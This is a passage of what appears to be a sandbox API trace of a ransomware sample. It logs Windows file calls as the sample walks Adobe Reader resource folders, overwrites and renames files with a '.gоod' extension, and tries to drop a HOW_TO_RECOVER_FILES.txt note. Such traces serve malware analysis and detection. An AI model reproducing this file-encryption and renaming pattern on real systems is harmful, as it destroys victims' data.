dc\\resource\\enutxt.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0093.892] GetFileType (hFile=0x778) returned 0x1 [0093.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0093.892] GetFileType (hFile=0x778) returned 0x1 [0093.892] WriteFile (in: hFile=0x778, lpBuffer=0x3401f28*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x3401f28*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0093.892] CloseHandle (hObject=0x778) returned 1 [0093.892] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf", lpFilePart=0x0) returned 0x42 [0093.892] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf.gоod", lpFilePart=0x0) returned 0x47 [0093.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0093.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3892d384, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x342cbf17, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1dae)) returned 1 [0093.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0093.893] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\ENUtxt.pdf.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\enutxt.pdf.gоod")) returned 1 [0093.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0093.896] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap", lpFilePart=0x0) returned 0x3c [0093.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec7c800 [0093.897] FindNextFileW (in: hFindFile=0x1ec7c800, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.897] FindNextFileW (in: hFindFile=0x1ec7c800, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0093.897] FindNextFileW (in: hFindFile=0x1ec7c800, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0093.897] FindNextFileW (in: hFindFile=0x1ec7c800, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0093.898] FindClose (in: hFindFile=0x1ec7c800 | out: hFindFile=0x1ec7c800) returned 1 [0093.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0093.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0093.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0093.898] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap", lpFilePart=0x0) returned 0x3c [0093.898] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec7ca40 [0093.898] FindNextFileW (in: hFindFile=0x1ec7ca40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360cac05, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xbb242eca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x360cac05, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.898] FindNextFileW (in: hFindFile=0x1ec7ca40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-H", cAlternateFileName="IDENTI~1")) returned 1 [0093.899] FindNextFileW (in: hFindFile=0x1ec7ca40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 1 [0093.899] FindNextFileW (in: hFindFile=0x1ec7ca40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xac9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Identity-V", cAlternateFileName="IDENTI~2")) returned 0 [0093.899] FindClose (in: hFindFile=0x1ec7ca40 | out: hFindFile=0x1ec7ca40) returned 1 [0093.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0093.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0093.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-H", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-H", lpFilePart=0x0) returned 0x47 [0093.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0093.899] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\cmap\\identity-h"), fInfoLevelId=0x0, lpFileInformation=0x3426eb8 | out: lpFileInformation=0x3426eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2024)) returned 1 [0094.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0094.431] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-H", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-H", lpFilePart=0x0) returned 0x47 [0094.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0094.431] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-H" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\cmap\\identity-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0094.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcea170) returned 1 [0094.434] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V", lpFilePart=0x0) returned 0x47 [0094.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0094.434] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\cmap\\identity-v"), fInfoLevelId=0x0, lpFileInformation=0x35fe7e8 | out: lpFileInformation=0x35fe7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360cac05, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xac9)) returned 1 [0094.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0094.434] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V", lpFilePart=0x0) returned 0x47 [0094.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0094.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\cmap\\identity-v"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0094.434] GetFileType (hFile=0x768) returned 0x1 [0094.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6a0) returned 1 [0094.435] GetFileType (hFile=0x768) returned 0x1 [0094.435] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fced8d8 | out: lpFileSizeHigh=0x1fced8d8*=0x0) returned 0xac9 [0094.435] ReadFile (in: hFile=0x768, lpBuffer=0x35ff550, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced808, lpOverlapped=0x0 | out: lpBuffer=0x35ff550*, lpNumberOfBytesRead=0x1fced808*=0xac9, lpOverlapped=0x0) returned 1 [0094.437] CloseHandle (hObject=0x768) returned 1 [0094.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V", nBufferLength=0x105, lpBuffer=0x1fced210, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V", lpFilePart=0x0) returned 0x47 [0094.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced730) returned 1 [0094.847] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\Identity-V" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\cmap\\identity-v"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0094.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcea120) returned 1 [0094.849] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1fced520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0094.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceda40) returned 1 [0094.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\CMap\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\cmap\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0094.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcea430) returned 1 [0094.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0094.852] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font", lpFilePart=0x0) returned 0x3c [0094.852] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\Font\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x360f0e5b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x169ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePiStd.otf", cAlternateFileName="ADOBEP~1.OTF")) returned 1 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9294, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Bold.otf", cAlternateFileName="COURIE~2.OTF")) returned 1 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x9848, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-BoldOblique.otf", cAlternateFileName="COURIE~3.OTF")) returned 1 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3616356f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x99a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd-Oblique.otf", cAlternateFileName="COURIE~4.OTF")) returned 1 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x360f0e5b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x93e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CourierStd.otf", cAlternateFileName="COURIE~1.OTF")) returned 1 [0094.855] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35404, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Bold.otf", cAlternateFileName="MINION~1.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361897f7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-BoldIt.otf", cAlternateFileName="MINION~2.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x3f764, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-It.otf", cAlternateFileName="MINION~3.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x35610, dwReserved0=0x0, dwReserved1=0x0, cFileName="MinionPro-Regular.otf", cAlternateFileName="MINION~4.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361afa1f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="MYRIAD~1.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x183e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="MYRIAD~2.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e08, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-It.otf", cAlternateFileName="MYRIAD~3.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361d5cba, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Regular.otf", cAlternateFileName="MYRIAD~4.OTF")) returned 1 [0094.856] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x36222164, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x36222164, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x36222164, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFM", cAlternateFileName="")) returned 1 [0094.857] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x361fbf1d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x8791, dwReserved0=0x0, dwReserved1=0x0, cFileName="SY______.PFB", cAlternateFileName="")) returned 1 [0094.857] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, 